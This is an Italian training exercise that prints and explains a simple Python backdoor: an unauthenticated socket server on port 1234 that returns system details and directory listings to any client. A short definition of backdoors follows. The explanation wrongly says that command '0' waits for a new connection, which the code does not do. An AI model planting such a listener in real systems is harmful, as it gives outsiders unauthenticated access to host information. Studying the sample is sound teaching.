

# Backdoor

## Traccia:

L'esercizio di oggi consiste nel commentare/spiegare questo codice che fa riferimento ad una backdoor. Inoltre spiegare cos'è una backdoor.

```
kali@kali: ~/Desktop/Python_Samples
File Actions Edit View Help
GNU nano 6.0 backdoor.py *
import socket, platform, os

SRV_ADDR = ""
SRV_PORT = 1234

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((SRV_ADDR, SRV_PORT))
s.listen(1)
connection, address = s.accept()

print ("client connected: ", address)

while 1:
    try:
        data = connection.recv(1024)
    except:continue

    if(data.decode('utf-8') == '1'):
        tosend = platform.platform() + " " + platform.machine()
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '2'):
        data = connection.recv(1024)
        try:
            filelist = os.listdir(data.decode('utf-8'))
            tosend = ""
            for x in filelist:
                tosend += "," + x
        except:
            tosend = "Wrong path"
        connection.sendall(tosend.encode())
    elif(data.decode('utf-8') == '0'):
        connection.close()
```

Questo server è in ascolto su una porta specificata (SRV\_PORT) per le connessioni in entrata.  
A seconda dei dati ricevuti, esegue diverse azioni:

I socket viene associato a un indirizzo IP e a una porta specificati con `bind((SRV_ADDR, SRV_PORT))`.

In attesa di connessioni: Il server inizia ad ascoltare sulla porta specificata con `listen(1)` e attende che un client si connetta con `accept()`.

Gestione delle connessioni: Una volta stabilita una connessione con un client, viene visualizzato un messaggio di "client connected" insieme all'indirizzo del client.

Il ciclo principale nel server entra in un ciclo (`while 1`) in cui riceve i dati dal client

Elaborazione dei dati: In base ai dati ricevuti, il server può rispondere in tre modi:

- Se riceve '1', invia al client le informazioni su piattaforma e sistema.
- Se riceve '2', riceve un messaggio contenente un percorso e invia al client la lista nella directory specificata.
- Se riceve '0', chiude la connessione corrente e aspetta una nuova connessione.

# La backdoor

La backdoor o (porta sul retro) è una seconda via di accesso non documentata per ottenere l'accesso a un sistema, bypassando normali procedure di autenticazione o sicurezza. Questa può essere intenzionalmente installata da un amministratore di sistema legittimo per scopi di manutenzione o di supporto, ma può anche essere sfruttata malevolmente dai blackhat.